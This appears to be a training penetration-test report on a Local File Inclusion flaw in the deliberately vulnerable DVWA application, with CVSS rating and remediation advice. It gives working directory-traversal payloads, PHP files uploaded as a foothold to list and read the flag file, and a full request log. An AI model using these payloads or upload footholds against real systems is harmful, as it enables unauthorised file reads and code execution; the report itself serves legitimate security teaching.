

Some sort of logo

DVWA Penetration Test

Local File Inclusion Assessment

by Ryyni-CK

Target: <http://193.167.189.112:2167/>

Start of testing: August 1, 2026

End of testing: August 1, 2026

1. Executive Summary

A security assessment was performed against the Damn Vulnerable Web Application (DVWA) instance hosted at <http://193.167.189.112:2167/>, focusing on the **File Inclusion** module. Testing confirmed a **Local File Inclusion (LFI)** vulnerability: the page parameter is passed directly to PHP's `include()` with no validation, allowing directory traversal to read arbitrary files the web service account can access.

The vulnerability was used to read a protected flag file. Notably, including the flag file produced no visible output because the value is stored inside a PHP comment; the flag was recovered by reading the file's raw contents through a foothold obtained from the File Upload module – a practical example of **vulnerability chaining**. One finding of **High** severity is reported.

Finding	Severity
Local File Inclusion via unsanitised <code>include()</code> (arbitrary file read)	High

2. Scope and Objectives

The assessment was limited to the target and objective below.

Item	Detail
Target application	Damn Vulnerable Web Application (DVWA) v1.9
Target URL	http://193.167.189.112:2167/
Module under test	File Inclusion
Security level	low
Parameter / vector	page (GET) passed to <code>include()</code>
Flag location	<code>/var/www/dvwa/hackable/flags/<random>.php</code>
Test type	Authenticated, grey-box (source available via "View Source")
Objective	Use file inclusion / traversal to locate and read the randomly-named flag file.

3. Methodology

Testing followed a standard input-inclusion approach aligned with the OWASP Testing Guide:

- **Source review.** The handler was read via "View Source".
- **Confirmation.** A directory-traversal payload read a known system file.
- **Enumeration.** The randomly-named flag file was identified.
- **Recovery.** The flag file's raw contents were read to reveal the value.

4. Detailed Finding – Local File Inclusion

Attribute	Value
Vulnerability	Local File Inclusion (Directory Traversal)
Location	File Inclusion module, page parameter
Severity	High
CVSS v3.1	8.1 – AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CWE	CWE-98 (PHP File Inclusion) / CWE-22 (Path Traversal)
OWASP	A03:2021 – Injection

4.1 Description

The module assigns the page GET parameter to a variable that is used directly in a PHP `include`, with no sanitisation:

```
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
```

Because the value is neither validated against an allow-list nor confined to a base directory, `../` sequences traverse the file system and any readable file can be included. If remote wrappers were enabled (`allow_url_include`), the same sink would also permit remote file inclusion and direct code execution.

4.2 Steps to Reproduce

Step 1 – Confirm traversal. Read a known system file by climbing to the filesystem root:

```
?page=../../../../../../../../etc/debian_version -> jessie/sid
```

Step 2 – Identify the flag file. The flag file has a random name and LFI cannot list a directory (including a folder rendered blank, and `php://filter` was disabled). The filename was obtained by listing `hackable/flags/` using a foothold from the File Upload module (`scandir`):

```
<?php print_r(scandir("../flags")); ?>

Array ( [0] => . [1] => .. [2] => 32363.php )
```

Step 3 – Attempt inclusion. Including the flag file executed it but produced no visible output, because the flag is stored in a PHP comment:

```
?page=../../../../../../../../var/www/dvwa/hackable/flags/32363.php -> (blank)
```

Step 4 – Read the raw file. Reading the file's contents (rather than executing it) revealed the flag. This was done via the upload foothold:

```
<?php echo file_get_contents("../flags/32363.php"); ?>

<?php
// Your flag: 4a9c4cef ..... REDACTED ..... 2bffb5
?>
```

The commented value is the recovered flag (redacted in this report; recorded in the exercise submission). The canonical pure-LFI equivalent would be `php://filter/convert.base64-encode/resource=<file>`, which was unavailable here as wrappers were disabled.

4.3 Impact

Local File Inclusion allows reading arbitrary files accessible to the web service, and can escalate to code execution. Realistic consequences include:

- Disclosure of source code, configuration, credentials, and secrets (e.g. `/etc/passwd`, DB configs).
- Code execution when an included file contains PHP (log poisoning, session files, or uploaded files).
- Remote file inclusion and direct RCE if remote wrappers are enabled.
- Reliable RCE when chained with a file-write primitive – as demonstrated with the upload module.

4.4 Remediation

The root cause is passing untrusted input to an include. Recommended fixes, in order of importance:

- **Never include user input directly.** Map an allow-list of permitted pages to fixed server-side paths (e.g. a whitelist array or switch statement).
- **Canonicalise and confine.** Resolve the real path and verify it remains within an intended base directory; reject `../`, null bytes, and absolute paths.
- **Disable dangerous wrappers.** Set `allow_url_include=Off` and `allow_url_fopen=Off`.
- **Least privilege.** Restrict the web service account so traversal reaches as little as possible.

5. Conclusion

The DVWA File Inclusion module is vulnerable to Local File Inclusion: the page parameter flows unchecked into `include()`, enabling directory traversal and arbitrary file reads. The protected flag was recovered by reading the flag file's raw contents through a foothold from the File Upload module, illustrating vulnerability chaining. The issue should be remediated with an allow-list of includable pages, path canonicalisation, and disabled remote wrappers. The finding is rated High severity.

Appendix A – Payloads and Request Log

```
# confirm traversal
GET /vulnerabilities/fi/?page=../../../../../../etc/debian_version

# enumerate flag filename (via File Upload foothold)
ls.php    : <?php print_r(scandir("../flags")); ?>
GET /hackable/uploads/ls.php          -> 32363.php

# attempt inclusion (blank - flag in comment)
GET /vulnerabilities/fi/?page=../../../../../../var/www/dvwa/hackable/flags/32363.php

# read raw contents (via foothold) - reveals flag
read.php  : <?php echo file_get_contents("../flags/32363.php"); ?>
GET /hackable/uploads/read.php
```

Produced for an authorised security training exercise against an intentionally vulnerable application (DVWA). Confidential.